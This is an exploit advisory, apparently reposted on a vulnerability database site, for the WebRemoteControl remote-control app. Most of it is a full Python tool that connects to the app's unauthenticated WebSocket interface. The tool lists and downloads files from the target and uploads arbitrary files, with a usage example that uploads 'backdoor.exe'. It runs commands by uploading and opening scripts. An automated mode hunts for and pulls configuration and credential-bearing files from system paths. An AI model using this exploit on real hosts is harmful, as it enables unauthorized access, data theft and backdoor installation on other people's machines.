==================================================================================================================================
| # Title : WebRemoteControl – Unauthenticated Remote Filesystem Access & Management Interface Assessment Tool |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/wolfgangasdf/WebRemoteControl |
==================================================================================================================================
[+] Summary : a security research and assessment tool targeting WebRemoteControl deployments that expose a WebSocket-based remote control interface without authentication.
The tool evaluates whether remote users can interact with the application's file management functionality and access system resources through the exposed service.
[+] POC : python 1.py -t 192.168.1.100 --download config.ini
-t 192.168.1.100 --auto
-t 192.168.1.100 --command "whoami"
-t 192.168.1.100 --upload backdoor.exe backdoor.exe
-t 192.168.1.100 --list-path "/Windows/System32"
#!/usr/bin/env python3
import websocket
import time
import json
import os
import sys
import argparse
import base64
import threading
from datetime import datetime
class WebRemoteControlExploit:
def __init__(self, target_host, target_port=8000, ssl=False):
"""
Initialize WebRemoteControl exploit
"""
self.target_host = target_host
self.target_port = target_port
self.ssl = ssl
self.ws_url = f"{'wss' if ssl else 'ws'}://{target_host}:{target_port}/docs/cmd"
self.ws = None
self.current_path = "/"
self.file_cache = {}
def connect(self):
"""Establish WebSocket connection"""
try:
print(f"[*] Connecting to {self.ws_url}")
self.ws = websocket.create_connection(self.ws_url, timeout=10)
welcome = self.ws.recv()
print(f"[+] Connected successfully")
if welcome:
print(f"[*] Server response: {welcome[:100]}...")
return True
except Exception as e:
print(f"[-] Failed to connect: {e}")
return False
def disconnect(self):
"""Close WebSocket connection"""
if self.ws:
self.ws.close()
print("[*] Connection closed")
def send_command(self, command, wait_time=0.5):
"""Send command and receive response"""
try:
self.ws.send(command)
time.sleep(wait_time)
response = self.ws.recv()
return response
except Exception as e:
print(f"[-] Command failed: {e}")
return None
def list_files(self, path=None):
"""List files in current or specified directory"""
if path:
original_path = self.current_path
self.navigate_to_path(path)
response = self.send_command("fbgetfiles", 0.5)
if response and response.startswith("fblist"):
parts = response.split("\t")
self.current_path = parts[1]
files = parts[2:]
print(f"\n{'='*60}")
print(f"[PATH] {self.current_path}")
print(f"{'='*60}")
for i, item in enumerate(files):
is_dir = item.endswith('/') or item.endswith('\\')
icon = "" if is_dir else ""
print(f" [{i:2d}] {icon} {item}")
print(f"{'='*60}")
print(f"Total: {len(files)} items\n")
self.file_cache[self.current_path] = files
return files
elif response:
print(f"[!] Unexpected response: {response}")
return None
else:
print("[!] Failed to list files")
return None
def open_item(self, index):
"""Open folder or execute file by index"""
try:
idx = int(index)
response = self.send_command(f"fbopen\t{idx}", 0.5)
if response and response.startswith("fblist"):
parts = response.split("\t")
self.current_path = parts[1]
files = parts[2:]
print(f"[+] Opened folder: {self.current_path}")
print(f"\n{'='*60}")
print(f"[PATH] {self.current_path}")
print(f"{'='*60}")
for i, item in enumerate(files):
icon = "" if (item.endswith('/') or item.endswith('\\')) else ""
print(f" [{i:2d}] {icon} {item}")
print(f"{'='*60}\n")
self.file_cache[self.current_path] = files
return True
elif response:
print(f"[+] File executed on remote host")
print(f"[*] Response: {response[:200]}")
return True
else:
print("[!] Failed to open item")
return False
except ValueError:
print("[-] Invalid index. Use numbers only")
return False
except Exception as e:
print(f"[-] Error opening item: {e}")
return False
def go_up(self):
"""Navigate to parent directory"""
response = self.send_command("fbup", 0.5)
if response and response.startswith("fblist"):
parts = response.split("\t")
self.current_path = parts[1]
files = parts[2:]
print(f"[+] Moved to parent: {self.current_path}")
print(f"\n{'='*60}")
print(f"[PATH] {self.current_path}")
print(f"{'='*60}")
for i, item in enumerate(files):
icon = "" if (item.endswith('/') or item.endswith('\\')) else ""
print(f" [{i:2d}] {icon} {item}")
print(f"{'='*60}\n")
self.file_cache[self.current_path] = files
return True
else:
print("[!] Already at root or cannot go up")
return False
def navigate_to_path(self, target_path):
"""Navigate to a specific path"""
print(f"[*] Navigating to: {target_path}")
target_path = target_path.replace('\\', '/')
current_parts = self.current_path.replace('\\', '/').split('/')
target_parts = target_path.split('/')
common = 0
for i in range(min(len(current_parts), len(target_parts))):
if current_parts[i] == target_parts[i]:
common += 1
else:
break
for _ in range(len(current_parts) - common - 1):
if not self.go_up():
return False
for part in target_parts[common:]:
if part and part != '':
files = self.list_files()
if not files:
return False
found = False
for i, item in enumerate(files):
if item.strip('/\\') == part:
if self.open_item(i):
found = True
break
if not found:
print(f"[-] Cannot find directory: {part}")
return False
print(f"[+] Successfully navigated to: {self.current_path}")
return True
def download_file(self, filename):
"""Download file from remote system"""
print(f"[*] Attempting to download: {filename}")
files = self.list_files()
if not files:
return False
file_index = None
for i, item in enumerate(files):
if item == filename or item.endswith(filename):
file_index = i
break
if file_index is None:
print(f"[-] File not found: {filename}")
return False
print(f"[*] Opening file (index {file_index})...")
response = self.send_command(f"fbopen\t{file_index}", 1)
if response:
output_file = f"downloaded_{filename}"
with open(output_file, 'wb') as f:
f.write(response.encode('utf-8'))
print(f"[+] File saved as: {output_file}")
return True
return False
def upload_file(self, local_path, remote_name=None):
"""Upload file to remote system"""
print(f"[*] Uploading file: {local_path}")
if not os.path.exists(local_path):
print(f"[-] Local file not found: {local_path}")
return False
with open(local_path, 'rb') as f:
content = f.read()
encoded = base64.b64encode(content).decode('ascii')
remote_name = remote_name or os.path.basename(local_path)
command = f"fbupload\t{remote_name}\t{encoded}"
response = self.send_command(command, 2)
if response and "success" in response.lower():
print(f"[+] File uploaded successfully: {remote_name}")
return True
else:
print(f"[-] Upload failed: {response}")
return False
def execute_command(self, command):
"""Execute system command via file execution"""
print(f"[*] Executing command: {command}")
if sys.platform == "win32":
script_name = f"temp_{int(time.time())}.bat"
script_content = f"@echo off\n{command}\necho [COMPLETE]\npause"
else:
script_name = f"temp_{int(time.time())}.sh"
script_content = f"#!/bin/bash\n{command}\necho '[COMPLETE]'"
with open(script_name, 'w') as f:
f.write(script_content)
if self.upload_file(script_name):
time.sleep(1)
self.list_files()
files = self.list_files()
for i, item in enumerate(files):
if item == script_name:
print(f"[*] Executing uploaded script...")
self.open_item(i)
break
if os.path.exists(script_name):
os.remove(script_name)
return True
def recursive_list(self, path="", max_depth=3, current_depth=0):
"""Recursively list directory contents"""
if current_depth >= max_depth:
return
if path:
self.navigate_to_path(path)
else:
self.list_files()
files = self.file_cache.get(self.current_path, [])
for i, item in enumerate(files):
indent = " " * current_depth
if item.endswith('/') or item.endswith('\\'):
print(f"{indent} {item}")
self.open_item(i)
self.recursive_list("", max_depth, current_depth + 1)
self.go_up()
else:
print(f"{indent} {item}")
def interactive_shell(self):
"""Interactive file browser shell"""
print("""
╔═══════════════════════════════════════════════════════════════╗
║ WebRemoteControl - File Browser Exploit ║
║ Unauthenticated Remote Filesystem Access ║
║ by indoushka ║
╚═══════════════════════════════════════════════════════════════╝
Commands:
list / ls - Show current directory contents
open <index> - Open folder or execute file
up / cd.. - Go to parent directory
cd <path> - Change to specific directory
download <filename> - Download file
upload <local_file> - Upload file
exec <command> - Execute system command
tree [depth] - Recursive directory listing
pwd - Show current path
search <pattern> - Search for files
exit / quit - Exit exploit
Examples:
> list
> open 5
> cd Windows/System32
> download config.ini
> upload backup.zip
> exec whoami
> tree 2
""")
while True:
try:
cmd = input(f"\n[{self.current_path}]> ").strip().lower()
if not cmd:
continue
if cmd in ['list', 'ls']:
self.list_files()
elif cmd.startswith('open'):
parts = cmd.split()
if len(parts) == 2:
self.open_item(parts[1])
else:
print("Usage: open <index>")
elif cmd in ['up', 'cd..']:
self.go_up()
elif cmd.startswith('cd '):
target_path = cmd[3:].strip()
if target_path == '..':
self.go_up()
else:
self.navigate_to_path(target_path)
elif cmd.startswith('download '):
filename = cmd[9:].strip()
self.download_file(filename)
elif cmd.startswith('upload '):
local_file = cmd[7:].strip()
self.upload_file(local_file)
elif cmd.startswith('exec '):
command = cmd[5:].strip()
self.execute_command(command)
elif cmd.startswith('tree'):
depth = 3
if len(cmd.split()) > 1:
try:
depth = int(cmd.split()[1])
except:
pass
print("\n[*] Recursive directory listing:")
print("="*60)
self.recursive_list("", depth)
elif cmd == 'pwd':
print(f"Current path: {self.current_path}")
elif cmd.startswith('search '):
pattern = cmd[7:].strip()
self.search_files(pattern)
elif cmd in ['exit', 'quit']:
print("[*] Exiting...")
break
else:
print("Unknown command. Type 'help' for available commands")
except KeyboardInterrupt:
print("\n[*] Interrupted")
break
except Exception as e:
print(f"[-] Error: {e}")
def search_files(self, pattern):
"""Search for files matching pattern"""
print(f"[*] Searching for: {pattern}")
found = []
def search_recursive(depth=0, max_depth=3):
if depth >= max_depth:
return
files = self.list_files()
if not files:
return
for i, item in enumerate(files):
if pattern.lower() in item.lower():
found.append({
'path': self.current_path,
'name': item,
'index': i
})
if item.endswith('/') or item.endswith('\\'):
self.open_item(i)
search_recursive(depth + 1, max_depth)
self.go_up()
original_path = self.current_path
search_recursive()
if found:
print(f"\n[+] Found {len(found)} matches:")
for match in found:
print(f" {match['path']}{match['name']} (index {match['index']})")
else:
print("[-] No matches found")
self.navigate_to_path(original_path)
def auto_exploit(target_host, target_port=8000):
"""Automated exploit sequence"""
exploit = WebRemoteControlExploit(target_host, target_port)
if not exploit.connect():
return False
print("\n[*] Starting automated exploitation...")
print("="*60)
exploit.list_files()
sensitive_paths = [
"/Windows/System32/config",
"/Users",
"/Program Files",
"/Windows/System32/drivers/etc",
"/inetpub/wwwroot",
"/xampp/htdocs"
]
for path in sensitive_paths:
print(f"\n[*] Checking: {path}")
if exploit.navigate_to_path(path):
exploit.list_files()
sensitive_files = ['hosts', 'config', '.ini', '.conf', 'web.config']
files = exploit.file_cache.get(exploit.current_path, [])
for file in files:
for sensitive in sensitive_files:
if sensitive in file.lower():
print(f"[!] Found sensitive file: {file}")
exploit.download_file(file)
print("\n[+] Automated exploitation completed")
return True
def main():
parser = argparse.ArgumentParser(description='WebRemoteControl - Unauthenticated Remote Filesystem Access Exploit')
parser.add_argument('-t', '--target', required=True, help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=8000, help='Target port (default: 8000)')
parser.add_argument('--ssl', action='store_true', help='Use WSS instead of WS')
parser.add_argument('--auto', action='store_true', help='Run automated exploitation')
parser.add_argument('--command', help='Execute single command and exit')
parser.add_argument('--download', help='Download file from remote system')
parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'), help='Upload file (local remote)')
parser.add_argument('--list-path', help='List specific path')
args = parser.parse_args()
exploit = WebRemoteControlExploit(args.target, args.port, args.ssl)
if not exploit.connect():
sys.exit(1)
if args.command:
exploit.execute_command(args.command)
exploit.disconnect()
sys.exit(0)
if args.download:
exploit.download_file(args.download)
exploit.disconnect()
sys.exit(0)
if args.upload:
local_file, remote_name = args.upload
exploit.upload_file(local_file, remote_name)
exploit.disconnect()
sys.exit(0)
if args.list_path:
exploit.navigate_to_path(args.list_path)
exploit.list_files()
exploit.disconnect()
sys.exit(0)
if args.auto:
auto_exploit(args.target, args.port)
exploit.disconnect()
sys.exit(0)
try:
exploit.interactive_shell()
except KeyboardInterrupt:
print("\n[*] Interrupted by user")
finally:
exploit.disconnect()
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation